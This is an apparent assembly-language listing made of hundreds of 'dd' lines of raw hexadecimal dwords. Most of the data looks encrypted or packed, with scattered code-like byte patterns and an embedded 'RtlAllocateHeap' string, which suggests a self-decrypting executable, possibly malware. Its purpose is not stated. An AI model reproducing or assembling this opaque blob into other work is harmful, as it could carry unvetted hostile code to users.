		dd 66DFB54Ah, 0E14BCAB8h, 66223212h, 83C2B275h,	30E95375h
		dd 83182AABh, 63C4F33Bh, 81D7B35Bh, 67D3108Fh, 22476CE5h
		dd 800F1631h, 9E26FC08h, 669ADBBEh, 0DFE33215h,	647A4C0Bh
		dd 0BB7D325Fh, 68EA589Eh, 0A656BDBAh, 4AAB8F98h, 0EA1E3407h
		dd 66883214h, 76AD9FE0h, 0A2223215h, 57513F4Eh,	0DD048BB0h
		dd 4B6ACDFBh, 4B410874h, 63C244Ah, 42AC7616h, 741D8D42h
		dd 91A36E89h, 76A2090Eh, 7B7EF594h, 0B9B31C53h,	7A47F594h
		dd 91902ED2h, 117009A8h, 418BF594h, 9E23B896h, 68933D4Ah
		dd 8F883215h, 6644321Ch, 49E6CDB1h, 7F4464A1h, 800164CBh
		dd 6640F494h, 88A33215h, 66113211h, 3AAC0692h, 6960369Ch
		dd 66223597h, 679B3D15h, 9F883215h, 664DDBBEh, 25A3215h
		dd 0A218D30Dh, 0EB739294h, 7449DFA8h, 68FC713h,	8ED98D1Ah
		dd 66883210h, 0C6E492B5h, 662ADBB5h, 0A4F73215h, 63D8C098h
		dd 71B7281h, 662220FCh,	5A8F9B15h, 9F74A604h, 0F581AD7Bh
		dd 0F3C59843h, 376A488Dh, 10B977ACh, 3F8C1B5Eh,	4E067616h
		dd 10207710h, 623CA5Eh,	6641B11Ah, 329A3215h, 6964CA66h
		dd 66883499h, 66CA3D15h, 7223215h, 383506EAh, 68CF696h
		dd 0E1B3B373h, 0A1C78DCFh, 0A5702D70h, 668821FCh, 0D26C1915h
		dd 13EDAFCh, 643CBBA3h,	95408098h, 63958059h, 6647337Dh
		dd 4225BB15h, 6680B51Ah, 0E24B3215h, 66223217h,	0EBE85375h
		dd 7E1BBB88h, 0B5BBC713h, 6623B91Ah, 8FE43215h,	0FFFFCEFDh
		dd 4ECEDFFCh, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45CC699h
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0EBCE2559h, 0F1439352h
		dd 62CC32DCh, 71BA8C0Ch, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2C4DEF80h, 3ADF0746h, 0D552B119h,	5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0BB02578Fh, 0B0D9FB57h
		dd 0A45CC28Dh, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 6DBD32DCh, 2F168C0Ch, 331C30CBh, 2B967513h, 2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 0A3720CEBh
		dd 80FC3D38h, 9EDF669Ah, 69E9D9ADh, 0E9000006h,	65Dh, 811F8B7Eh
		dd 95339D91h, 0AD4BADA5h, 0C361C7BDh, 0D876DED3h, 0A99E0C6Bh
		dd 0BCB3A341h, 0D1CABA58h, 0E9E3D371h, 8DEEED8Bh, 254F41Ch
		dd 96E8FB76h, 0B4B7150Fh, 0A2A505FEh, 173FB039h, 2D6FE907h
		dd 82D0CF39h, 0D2494018h, 0E9073961h, 0BDF6406Fh, 0E155ECF9h
		dd 0CDD06800h, 0B7BA2217h, 0F9A40C01h, 0C5C82C23h, 6C22056Fh
		dd 8F651076h, 463D3597h, 0DF9578E2h, 0CD2B25E7h, 52E074CAh
		dd 64490712h, 0A95F62FAh, 0ED484BB5h, 46B863FEh, 1290870h
		dd 92A236E5h, 5E9835Ch,	0CB8BA4F3h, 0B13ACE03h,	0AEB1DAAFh
		dd 0D6EB3256h, 0B372CABCh, 0B5E05250h, 8AD06A37h, 75B135BEh
		dd 0DAD64456h, 0CB6E510h, 0AEB120BFh, 0A3923D56h, 457B000Bh
		dd 0E42CB78Eh, 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h
		dd 0FB63E9C6h, 0F53FD525h, 0A9E4ADFDh, 3422916Ch, 0AC7ACFB7h
		dd 0AD29B723h, 0FD7A1A20h, 7C277975h, 0E42F6898h, 0D8FFA073h
		dd 5E98321h, 0DB8BA4F3h, 75A4BD8Dh, 8D8D0619h, 619FE43h
		dd 156644B8h, 0C1CF2B32h, 73102E9h, 0C783C8D0h,	0F6754904h
		dd 0FE9h, 0E83DA900h, 91AF7010h, 7DF2A8D7h, 8B1EBCDCh
		dd 7BDB8060h, 14E9h, 0EDBD1A00h, 0DF6B3C38h, 7AD49E51h
		dd 5A1C0D7Fh, 90F8AE63h, 0BE96153h, 25000000h, 21A966F6h
		dd 0A525EFB5h, 75688D15h, 89000072h, 0E9582404h, 0Bh, 62D0F029h
		dd 5853AEACh, 83364B41h, 121B91BDh, 9750006h, 17DDBD83h
		dd 74000612h, 8B535019h, 411B8C0h, 85890000h, 6122295h
		dd 0AE769D8Dh, 0D3FF0614h, 0BD83585Bh, 61217DDh, 50177400h
		dd 411B853h, 85890000h,	6122295h, 0AB179D8Dh, 0D3FF0614h
		dd 5660585Bh, 0A6D0F0BBh, 0B9665A56h, 0F61F3CEh, 185h
		dd 14E9F500h, 0B3000000h, 4E134B0Ch, 742BEA45h,	0B9A8C4EAh
		dd 12FF82A9h, 81FAE550h, 4ECh, 24048900h, 8DF8F958h, 1A021B8Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0A1DDB2A0h, 0AAF68173h, 892549EDh, 1209A18Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8AA52A05h, 585C7E2h, 0BC061205h,	60000067h
		dd 0D38B0CB6h, 0D985C761h, 6121Bh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 7ED2C355h, 0D678C681h, 0B5FF482Dh, 6122381h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E2C35242h, 0CD1C2EACh
		dd 0F9A23B5h, 8589FABFh, 612005Dh, 1B3195FFh, 0CE810612h
		dd 41A05E07h, 1EE9BD01h, 6A0612h, 19CD95FFh, 0C08B0612h
		dd 221539EBh, 53DEB198h, 7D362008h, 0AB680778h,	9B221680h
		dd 98E17958h, 1BEC0C26h, 0BF76FA4Ch, 0A74F794Eh, 50D2791Bh
		dd 0C8BFA025h, 0E328D0D6h, 64FAEA6Ah, 85F14692h, 0E85ADBACh
		dd 0Fh,	0E7A0BD7Fh, 697D81ABh, 650D3E75h, 8B50DF24h, 958B5ED8h
		dd 6120901h, 60F1C681h,	0BF0F0000h, 0BFCEh, 0FFFC0000h
		dd 81663734h, 58A929CBh, 0C810Fh, 850F0000h, 6,	541BD89h
		dd 0F0810612h, 1FD2B626h, 816AC780h, 6034DFF0h,	8F0F6009h
		dd 0
		dd 5E8h, 875D1300h, 8D8B0D25h, 6121501h, 0C0816158h, 73CA94E2h
		dd 30D1958Bh, 51500612h, 0CF8B6660h, 1FCE8166h,	8F5961F2h
		dd 9D0B3E04h, 6120E45h,	2DEF81F8h, 8B4D6941h, 1210F595h
		dd 29C78106h, 0F4D6941h, 685h, 0F59D0100h, 81061214h, 0FF9FC4FFh
		dd 70850FFFh, 8BFFFFFFh, 0EDE9D1h, 66600000h, 4A8D88Ch
		dd 0DF840Fh, 0B58B0000h, 6123185h, 0F00FE83h, 2285h, 7185C600h
		dd 45061228h, 72696968h, 0B1B5FF8Eh, 8D061203h,	157F3585h
		dd 89D0FF06h, 1230FD85h, 80F08B06h, 850FE93Eh, 31h, 8725858Dh
		dd 0D0FF0617h, 9C1BD8Bh, 0C7810612h, 1184h, 3185B58Bh
		dd 0F7870612h, 8B9h, 8BA4F300h,	123185B5h, 0C2858D06h
		dd 0FF06163Eh, 79B58BD0h, 83061229h, 850F00FEh,	22h, 287185C6h
		dd 68540612h, 0FF4EBEF4h, 3B1B5FFh, 858D0612h, 6157F35h
		dd 8589D0FFh, 6122979h,	3E80F08Bh, 3A850FE9h, 8B000000h
		dd 122979B5h, 25858D06h, 0FF061787h, 0C1BD8BD0h, 81061209h
		dd 1184C7h, 8C78300h, 2979B58Bh, 0F7870612h, 8B9h, 8BA4F300h
		dd 122979B5h, 0C2858D06h, 0FF06163Eh, 8DC361D0h, 1A031C85h
		dd 91858906h, 0E9061218h, 12h, 13A4B7E2h, 3 dup(0)
		dd 83E90000h, 68000004h, 61A0514h, 0F87BC4E9h, 59C68FFh
		dd 0BAE9061Ah, 68FFF87Bh, 61A06F7h, 0F87BB0E9h,	0FF6B5EFFh
		dd 137D7161h, 2B8D8575h, 41A79D8Dh, 56BEB3A3h, 7EEC4BB8h
		dd 93832189h, 0AA9A389Ch, 0C3B351B1h, 0CECD6BC9h, 0BD4FC6Dh
		dd 0C8DB7603h, 0B21A0F76h, 0A1FFF9AFh, 0E47F6E03h, 467C839h
		dd 58A669FBh, 6CDDD7ADh, 0FB0CD3FBh, 0F48CDA75h, 0E0443BF1h
		dd 92FBDE48h, 5B5EC8BCh, 0FC289B05h, 3475FB0Bh,	50A77B5Bh
		dd 97DE2F80h, 2D5h, 5982AD3Dh, 0B324CF52h, 69FB2F16h, 6CBFB907h
		dd 989E88C7h, 731EA5A8h, 72542502h, 23267465h, 6542C5C8h
		dd 534A1468h, 0AA0A03FBh, 55DE6712h, 4E90BCE4h,	7D75C36Dh
		dd 44B72187h, 6760C6C3h, 7B51FC4Ah, 95852381h, 234B3D9Bh
		dd 0C87DD282h, 2ED40E5h, 30230000h, 423626C4h, 524A3AD8h
		dd 6C6252F0h, 83786806h, 0B1107D1Bh, 48E64E43h,	5FFD6158h
		dd 7816766Fh, 92308E88h, 99C13293h, 0A076030Ch,	0EA5C3B8Dh
		dd 0D9BDB68Ch, 0A7248E43h, 9C721DA4h, 0E83E41A5h, 4482F37Eh
		dd 4B69F389h, 877C52FDh, 55DE811Fh, 89335BCCh, 0EC3A7603h
		dd 3893159h, 0F2EA3876h, 3E9497FBh, 9F07FCD4h, 88C1339Ch
		dd 0F9D4BF67h, 83A2157Fh, 91963125h, 9D473997h,	0BA7F6461h
		dd 26532D7h, 0B8AB0000h, 0CABEAE4Ch, 0DAD2C260h, 0F4EADA78h
		dd 0B00F08Eh, 399805A3h, 0D06ED6CBh, 0E785E9E0h, 9EFEF7h
		dd 1AB81610h, 2149BA1Bh, 2876030Ch, 636AC315h, 86C435E0h
		dd 0DD69F303h, 44AE0E07h, 0C3141765h, 76030B97h, 4216F6CFh
		dd 0DE3782EBh, 1A432h, 2A008900h, 163ED131h, 2C760303h
		dd 85D3D234h, 150FDF1Bh, 4FEB4B7h, 787308A6h, 10CD3EE9h
		dd 4169FB1Eh, 739FF0F3h, 0AB75FB22h, 9A70F2D2h,	0E93F42A0h
		dd 22A5CD3Eh, 66B475FBh, 99C81FFCh, 4BBDDE2Fh, 6695E32h
		dd 8EC7316Bh, 3Fh, 80636A34h, 0C91F228Ch, 27FD8631h, 11C7CA32h
		dd 0B51FB719h, 0FB114142h, 777AC869h, 59169C0Eh, 0E7ACB043h
		dd 0D367483Ch, 43AD2BFAh, 0FBD5A4D0h, 2303DC75h, 3048F84Fh
		dd 0B93FDEh, 0FE50000h,	0F9635715h, 0B3A85E61h,	9892484Bh
		dd 0C3B98F3Ah, 0BA305FDh, 4CB61E13h, 0EE770069h, 0E907557Dh
		dd 8316646Fh, 6FE9075Bh, 0D2AA1462h, 0BC261AD8h, 0D46CCAC4h
		dd 0F65E5329h, 0B5339DF3h, 0E9022C2Ah, 92F0EA6Fh, 0D56C5FF4h
		dd 0FE2FA12Ah, 6A3BADAAh, 0D373E650h, 3A69FE5Dh, 766B41ECh
		dd 988D630Eh, 5848C630h, 0B85FFF63h, 2BF17A0Ch,	731A193h
		dd 270A7336h, 10A82h, 0A7130600h, 0BB251909h, 0D3352D1Dh
		dd 0E94F4535h, 0FE665B4Bh, 2694F360h, 3B2BC931h, 5242E044h
		dd 6B5BF959h, 76751371h, 0D7CA415h, 70837603h, 0B21A0F1Eh
		dd 0D63A3107h, 4FEEE6Ch, 0FB408A6h, 0FEB4B715h,	6508A604h
		dd 8C37958Fh, 0E907F31Bh, 42ACFA6Fh, 0E6DBC6C5h, 8D257B7Eh
		dd 4B9871E2h, 0B30169FBh, 0D53D3208h, 150AE06Bh, 58840FADh
		dd 0BB75FB54h, 608D2749h, 2DD8A4ADh, 0FB8194BCh, 0E34D9B75h
		dd 5F53110Bh, 0B1D94AF5h, 0B875FB81h, 4434D26Ah, 3FE4E74Fh
		dd 6Fh,	0E0636AEDh, 0F408C335h,	0F8474F3Fh, 5092038Eh
		dd 7F69F39Dh, 0DF77D9D1h, 0CE2C26DCh, 0E8464030h, 583594E5h
		dd 1B88072h, 0CFC99F21h, 0BEB86E71h, 865EC860h,	11832E8Ch
		dd 635C2DF7h, 38A56F03h, 630684EEh, 3134948Dh, 9F9971DBh
		dd 0C7C09641h, 641AFD67h, 0AE05086Eh, 46400FEFh, 0D1A74AE8h
		dd 350D77D9h, 35DADD3Bh, 3, 0F5995E3h, 0F7ADB01Ch, 0E69C9FFDh
		dd 0D48A8DEDh, 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh
		dd 6C222587h, 4D0B0E78h, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 1E68243Ch, 8900003Eh, 9F68241Ch, 89000079h
		dd 0BF572434h, 7EA344E1h, 23E2E781h, 0DFF726C6h, 8147DFF7h
		dd 0F94391EFh, 1FF7814Eh, 50D192B9h, 0C389F889h, 8B545F58h
		dd 0C4832434h, 1A6F6804h, 1C890000h, 8468F24h, 5E2434FFh
		dd 4C481h, 1C8B0000h, 0E0895024h, 405h,	40500h,	4870000h
		dd 5AE95C24h, 3DFFF877h, 269F39D9h, 7C814869h, 689EBD65h
		dd 26B8BDA8h, 3061A08h,	1DE0FFC5h, 0C00F3695h, 7334F8B0h
		dd 0F636870Ah, 94035A44h, 0FB192FCFh, 0BF6F348Eh, 7D5605F5h
		dd 0E825E86Bh, 14h, 1BC7544Bh, 0AF10CD59h, 3D1BABB1h, 48E8C592h
		dd 5AF950D6h, 0F8BF0F5Bh, 7364C381h, 890F0000h,	1Fh, 198C0Fh
		dd 13E80000h, 97000000h, 0F5D0F9B6h, 3B34F330h,	750115C1h
		dd 8E5AE66h, 0BA5875B2h, 0
		dd 68E0F60h, 0F000000h,	80h, 0BE900h, 0F0680000h, 0D3D6DD99h
		dd 86183391h, 34FF61E6h, 0DADFBE1Ah, 0E9597286h, 8, 0AC0BDE99h
		dd 0AC536221h, 4DD3E981h, 8A0F2DD3h, 1,	40F181F5h, 0B85E9F92h
		dd 14A82CD1h, 3EC7C181h, 0FE913C5h, 14000000h, 71088A9Dh
		dd 1D935C5h, 4B28C851h,	0C891BEFh, 0CE816613h, 11E9D876h
		dd 4C000000h, 85EE2C5h,	52CBD6C5h, 0CA55E1ECh, 0B797E517h
		dd 5FD6EA81h, 880F30B5h, 9, 3810Fh, 8B660000h, 0D2C281C2h
		dd 0F30B55Fh, 8Ch, 94FA8100h, 0FFFFF8Dh, 0FFFF6D85h, 0C28B66FFh
		dd 0ABD8D8Dh, 6A061Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 600E2DC3h, 0AF3642A7h, 893B6787h
		dd 1209A18Dh, 585C706h,	18061205h, 6A00005Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0C7EDC356h, 121BD985h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0FA393AD7h
		dd 0B5FF1DD1h, 6122DB9h, 10E950h, 50F10000h, 97184CAh
		dd 92FBC934h, 5C930BC3h, 0FF5FBA48h, 121B3195h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0D605DA81h, 0FB5240Bh, 28Dh,	60D88A00h, 3C5B589h, 61FC0612h
		dd 95FF006Ah, 61219CDh,	4FEBC08Bh, 7AF27F79h, 1197FFEDh
		dd 0AE5C797Dh, 2AE9D643h, 0A23F58B1h, 5A10D239h, 0B6282D7Fh
		dd 0F51B2304h, 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0FAB90B51h
		dd 505AD351h, 3D7627Dh,	2DF2F870h, 46F08FFDh, 27C7B067h
		dd 3E83BED2h, 13469473h, 0E92B0B9Bh, 1Ch, 5205B12Bh, 416C7452h
		dd 636F6C6Ch, 48657461h, 706165h, 140000h, 0
		dd 1110E9h, 0D256800h, 0BEE9061Ah, 68FFF874h, 61A0E16h
		dd 0F874B4E9h, 105768FFh, 0AAE9061Ah, 68FFF874h, 61A116Eh
		dd 0F874A0E9h, 148668FFh, 96E9061Ah, 68FFF874h,	61A1541h
		dd 0F8748CE9h, 158F68FFh, 82E9061Ah, 68FFF874h,	61A16BAh
		dd 0F87478E9h, 174E68FFh, 6EE9061Ah, 68FFF874h,	61A17FCh
		dd 0F87464E9h, 19C268FFh, 5AE9061Ah, 68FFF874h,	61A1AB0h
		dd 0F87450E9h, 5FCBBEFFh, 73DDD1C1h, 8BEDE5D5h,	0A107FDEDh
		dd 0B61E1303h, 0DE4CAB18h, 0F3E381E9h, 0AFA98FCh, 2313B111h
		dd 2E2DCB29h, 12345CCDh, 283B7603h, 8F865CD6h, 0BACD8D2Fh
		dd 0AD454610h, 13716B43h, 349E9268h, 3731E7CAh,	2720D6D9h
		dd 0AE6DC4C7h, 0A705FFCEh, 5C241909h, 0A9FF0264h, 89837311h
		dd 0DA72D2CBh, 0C92721D7h, 0C97962Bh, 0B833F061h, 146269FBh
		dd 359F9369h, 8F72DC32h, 0FB88123Eh, 0CF2F2875h, 0BC1E16CCh
		dd 0C3A362B9h, 88A8D041h, 69B775FBh, 4222FBD1h,	3000176Eh
		dd 40360CDEh, 1781D7DAh, 2EDEh,	636A8400h, 7345CCDh, 8D3B6FE9h
		dd 0A0983098h, 0FFAA42ACh, 0FB118D8Eh, 6B6EBC69h, 0FB1EEE1Ah
		dd 6D4D2675h, 2F924299h, 0DA89DEh, 0F2F0000h, 0FEB4B715h
		dd 0E8484109h, 9D974D50h, 793BB2Ch, 4C9A6FE9h, 1FBB1B4h
		dd 3586F8A3h, 34E664D5h, 0CFD23A2Fh, 0F977E179h, 0E9EC6F6Eh
		dd 4DABA56Fh, 4AF30A2h,	1E396FDEh, 0F8BE8E8Fh, 0AB15ADDDh
		dd 0E5433D2Dh, 1840B13Ah, 276FE907h, 318C6FD9h,	73FCA73Ah
		dd 75179EAh, 0A586FE9h,	6842DA0h, 13E969FBh, 5EB4B71Dh
		dd 1CC715F4h, 84EE4C46h, 0E77A7106h, 0A99CCB3Ch, 63B1700Fh
		dd 85EDE2B8h, 8702F7E7h, 0D7EFA015h, 992C037Bh,	6FEFEE71h
		dd 0A0922A78h, 79435640h, 7B8F3417h, 3400000Eh,	4737D541h
		dd 5B4BE953h, 73630163h, 8979177Dh, 218E2C94h, 0F75F54C6h
		dd 0E726959h, 27878070h, 419F9989h, 0D243A4A3h,	760314AAh
		dd 0F4C9EB1h, 2414B21Ah, 0DA2ECC2Ah, 35E0636Ah,	0FB11C3C4h
		dd 0CEC89E69h, 5A1B6D70h, 10CC1105h, 9675DF77h,	0C8F44548h
		dd 0DE75FBD4h, 0CD8386E4h, 557174D4h, 0F4EDBC9Ch, 4D26FC94h
		dd 4842996Dh, 0BE89DE30h, 2F000000h, 0CB7150Fh,	0D9DC3E36h
		dd 80361983h, 0CF20238Bh, 6FE902D0h, 8E2C8A84h,	4346A49Eh
		dd 6A62E5E8h, 4FDB1BC8h, 0CDD0362Ch, 9C47DF77h,	0FF69D1C6h
		dd 715A0374h, 156369FBh, 58EBE277h, 564E24ADh, 0F9178AF4h
		dd 68701016h, 0C7466EDFh, 7556FEFh, 0C570BE9Dh,	0ECAECA3Ch
		dd 0C3D59087h, 248C8159h, 140DE386h, 0F15BB1B4h, 635C2419h
		dd 12AA0003h, 4432BE20h, 5AA8D79h, 0D8Ah, 28C63225h, 3CDA4438h
		dd 54F2544Ch, 6A086E64h, 7F1D857Ah, 5045B712h, 635A4AE8h
		dd 787161FFh, 908A7A18h, 34959432h, 3159BC3h, 3D8FA276h
		dd 14B21A0Fh, 48B92A24h, 6FE90720h, 0AB49E12Fh,	0B7150F57h
		dd 0A604FEB4h, 2AD489FBh, 9F925483h, 0ED4346A6h, 0E26DEB55h
		dd 6FE94EB6h, 1F14D2CCh, 0C65EB4B7h, 0E03E3828h, 0CF2D27DDh
		dd 5A2016CCh, 6366FE64h, 4C4FB9ADh, 0D65838EFh,	0E94E3D65h
		dd 66FE4C6Fh, 0ED6F4F08h, 4ECBF364h, 84D26FE9h,	2B2E988Ch
		dd 99936BD5h, 51A89D3Bh, 98D81DC2h, 9Fh, 0E0636A3Eh, 0DED6AC35h
		dd 2BC3231Ch, 18194EC1h, 0DA2869FBh, 185A86D7h,	0B99275FBh
		dd 8FAE05D9h, 78F5DE2Fh, 9B000000h, 0E9074774h,	0DCD4AA6Fh
		dd 9893107Ah, 0A0ED5E09h, 0F169FB28h, 201505A3h, 280C34A5h
		dd 0C51375FBh, 0DCCF2A2Dh, 0A0119A45h, 75FB2878h, 8DB52687h
		dd 9C75FB28h, 0C14CB64Eh, 0D415B50h, 0F19CEA70h, 0BEFA897Fh
		dd 0F45EC22Bh, 318D8676h, 3F44FC13h, 0CFD26A27h, 3FEA7974h
		dd 0FC26BDCEh, 0D0CAA069h, 1E847A72h, 0E987D5B4h, 0C95CD446h
		dd 5D472A11h, 9192CF3h,	5CDA0000h, 73A62D3h, 0F3416FE9h
		dd 9FA202FBh, 6B62DF49h, 33A42DD8h, 6FE9070Bh, 0BEBD2319h
		dd 0A7B0670h, 69FB2605h, 0A2F3F644h, 75FB2A76h,	21F5D5AEh
		dd 0DE2FA1CAh, 1A11h, 865CB700h, 0D3292C8Eh, 7CAF669h
		dd 0E8E06FE9h, 36CE2C26h, 0FC33B79Eh, 6A65FFFFh, 0C435E063h
		dd 69FB111Fh, 4C9DA0EEh, 75FB1D20h, 0D6D94136h,	42C62C20h
		dd 0E6612B13h, 167F821Ah, 0FB2A7DA5h, 9F3E8C75h, 0C39908E8h
		dd 0B2880AEAh, 0FF5558BAh, 0A261B895h, 0C9A8DE2Fh, 4E000004h
		dd 535A8FADh, 0C69C25D0h, 156B6ECCh, 0E9075A82h, 0A913616Fh
		dd 2F10AD1Eh, 0B30169FBh, 0E17D9608h, 25D0742Ch, 8F8EE1BBh
		dd 20CC3E43h, 0F9979A2Dh, 0E5D6B0C6h, 1C31A24Dh, 0ED19D239h
		dd 4A419C9Fh, 0AD830CB7h, 0F74D50B8h, 0A2A507FFh, 166FE24Ch
		dd 8713C1ADh, 0BEB88E39h, 0D8D2C260h, 0F14C887Ah, 8EBC979h
		dd 0B4963h, 7736600h, 1B857969h, 33958D7Dh, 49AFA595h
		dd 5EC6BBABh, 86F453C0h, 9B8B2991h, 0B2A240A4h,	0CBBB59B9h
		dd 0D6D573D1h, 17DC0475h, 0D0E37603h, 0B7150F7Eh, 7E754BB4h
		dd 3833B01Ah, 0BCE5CADh, 5500D057h, 0E915BCE4h,	0DD75C36Fh
		dd 1B84C132h, 479569FBh, 5ACDC69Ch, 0FB0BC1E9h,	0E27AC875h
		dd 0FB5B5444h, 0B7FA7F8h, 0CEFA75FBh, 3175FB1Bh, 0FCFF655Bh
		dd 0CCBF3CA6h, 54198A35h, 0C9700D20h, 989BF9F3h, 2096BE2Fh
		dd 57A56FE9h, 287655BFh, 0C233BC25h, 6FE9209Ah,	635B53A1h
		dd 3EA8FE01h, 0E9209FCBh, 1EFED76Fh, 1D93F34Ah,	263AD8h
		dd 5CE00000h, 73A62D3h,	0F3416FE9h, 82010C89h, 6DAF65D7h
		dd 0ED91C4E0h, 5287F883h, 7369FB74h, 327D2225h,	2B000000h
		dd 5BCD636Ah, 5945B916h, 537B0E9Eh, 5A6FE952h, 0C8F0610Ch
		dd 0D76FE952h, 7046F189h, 0F768137Bh, 6FE952CFh, 9B2690DEh
		dd 0FB59712Ah, 474A9869h, 0B7150F2Dh, 4A3CFDC5h, 963B1E79h
		dd 0A32h, 801E8A7Dh, 94329C90h,	0AC4AACA4h, 0C260C6BCh
		dd 0D775DDD2h, 0A89D0F6Ah, 0BBB2A240h, 0D0C9B957h, 0E8E2D270h
		dd 8CEDEC8Ah, 318F31Bh,	95E7FA76h, 35E0636Ah, 0FB201FC4h
		dd 4A40EE69h, 24278F84h, 9B9E36CEh, 0EF8DEBE5h,	0B455B764h
		dd 8729284Eh, 422AEE16h, 0B8E05191h, 0C791422Ah, 942C7A79h
		dd 0D76A61F6h, 0A91AA32Ch, 91422A81h, 5DD03A88h, 8B5431A4h
		dd 0AE6467B5h, 1DB250BAh, 77E8932Eh, 914636B2h,	318285D3h
		dd 91422D05h, 0ACA47A3Dh, 87F1474Ah, 0DB3206E6h, 22F976A4h
		dd 108h, 6FEA5CC8h, 9C9C1EB0h, 0EBE25FC9h, 4E24AD58h, 1487F159h
		dd 69FB996Fh, 974D509Eh, 0B1A13F9Dh, 9C04F9B7h,	86EEE399h
		dd 0A85E5AEEh, 0DEEBA517h, 4DA4346h, 4DA3A610h,	72C370E3h
		dd 7B324EB4h, 97A7199Bh, 0B852C4F6h, 0BFE75803h, 0CE914283h
		dd 443E1680h, 5E5848E6h, 0FFACFD00h, 1569FBB8h,	4BABD1Bh
		dd 42A6A90Dh, 0A13AA989h, 393302E2h, 534D3DDBh,	9697F2F5h
		dd 5DB640Fh, 50A6A90Fh,	4D2B73E6h, 287275FBh, 0D338F501h
		dd 50EE864Eh, 8631B0BBh, 0DB3E415h, 8A835970h, 93E1C02Ah
		dd 82E0DA90h, 9CFAF4E4h, 93084899h, 4AD6FE9h, 6BD5352Eh
		dd 211BEACAh, 0D49A25C3h, 3D1BBDCAh, 2111AF42h,	75C6C927h
		dd 5E03549Dh, 0B122AB4Ch, 61FC1989h, 37D84290h,	308E8857h
		dd 56B6AF85h, 1593FD53h, 0CACD2B25h, 3AE57C6Fh,	84E4DBB1h
		dd 0B5C492Dh, 0A3A63E18h, 8B70E34Dh, 0FA5C0EECh, 552F0EACh
		dd 0DD000000h, 5CCD636Ah, 6FE90734h, 0AA55ED3Bh, 797CDAD4h
		dd 0BD2EB923h, 69FB3088h, 2EA04B99h
		dd 0BF300916h, 75FBE397h, 41C458A6h, 0A78AF451h, 3D33FDF1h
		dd 0E67ED4D7h, 0DACFA548h, 0AF196F72h, 865DD83Bh, 527AEB85h
		dd 5975FB92h, 57C8730Bh, 75FB9227h, 35DF846h, 19B7150Fh
		dd 4FFA8984h, 1A1D8379h, 5ECF5AC4h, 69FB003Dh, 0F1514A20h
		dd 0AF5AA887h, 0E280E0D9h, 1586F9F2h, 75FB0DEDh, 1316AEFCh
		dd 832EB5B8h, 5053B5ADh, 7C0590FAh, 0F7EDADA6h,	0A0388E91h
		dd 1386C336h, 62EB700Dh, 0E913C9F1h, 2922D06Fh,	0D870C6C9h
		dd 96418F6Eh, 5F62CCC0h, 74C0DB0Dh, 51E91CA0h, 87B304E7h
		dd 0F86FE9DFh, 0B5150EF5h, 19C45CB2h, 0FBE3E3A8h, 29D42269h
		dd 0DC072FA0h, 0C81675FBh, 0A0127B5Eh, 0C1563B27h, 970A74B3h
		dd 75FB706Bh, 16EACAA3h, 0DE2FE3BFh, 86E4DEB4h,	55E31Ch
		dd 5C890000h, 8C8DDDEAh, 6D9C40EDh, 3841837h, 82223A6Fh
		dd 30C50753h, 0BAB12E98h, 0D46CD0C7h, 0D1CAA029h, 85186E71h
		dd 6FE9175Dh, 29B41E6Ch, 0FB4083B8h, 0FC6DF669h, 75FB40D4h
		dd 29677046h, 504F0024h, 0AF47ABA2h, 15186645h,	1870h
		dd 4F9CF00h, 6AF6329Ch,	0AC35E063h, 137DDDD6h, 0FB0EE7A0h
		dd 0A5A8F669h, 0B7150F8Bh, 4A3CF3C5h, 8C311479h, 71Ah
		dd 9836A295h, 0AC4AB4A8h, 0C462C4BCh, 0DA78DED4h, 0EF8DF5EAh
		dd 0C0B52782h, 0D3CABA58h, 0E8E1D16Fh, 0FAEA88h, 0A40504A2h
		dd 31B0B33h, 0ADFF1276h, 404B80ADh, 484016C1h, 238DE3E6h
		dd 2E8A2798h, 317B69FBh, 53DF72A8h, 3A7004F0h, 80496F48h
		dd 156862FAh, 0B3C23AADh, 0E9942F1Eh, 4F8C9B78h, 0F19CEA2Eh
		dd 0BBB88C7Fh, 339D37EAh, 6FF6F550h, 0DD124245h, 0DC04754Eh
		dd 0E3322F72h, 0BA65FD95h, 41A8C849h, 8833812Ch, 0AF5AB8B2h
		dd 4977123Dh, 6AD4E4BFh, 8CD749ECh, 2460BBA9h, 0EA7AAD17h
		dd 45DD37A8h, 0AF0903DBh, 8FA3BDF4h, 2E20B860h,	0B4F58888h
		dd 5FEB9073h, 50000006h, 6353F15Dh, 7767056Fh, 8F7F1D7Fh
		dd 0A5953399h, 3DAA48B0h, 137B70E2h, 2A8E8575h,	43A39C8Ch
		dd 5DBBB5A5h, 0EE5FC0BFh, 76031CC6h, 0F70C2D5h,	54A9BB15h
		dd 0F3C953E6h, 0E9265A82h, 7B13616Fh, 1EBBF1E3h, 492C794Ah
		dd 611A4h, 3FAB9E00h, 53BDB1A1h, 6BCDC5B5h, 81E7DDCDh
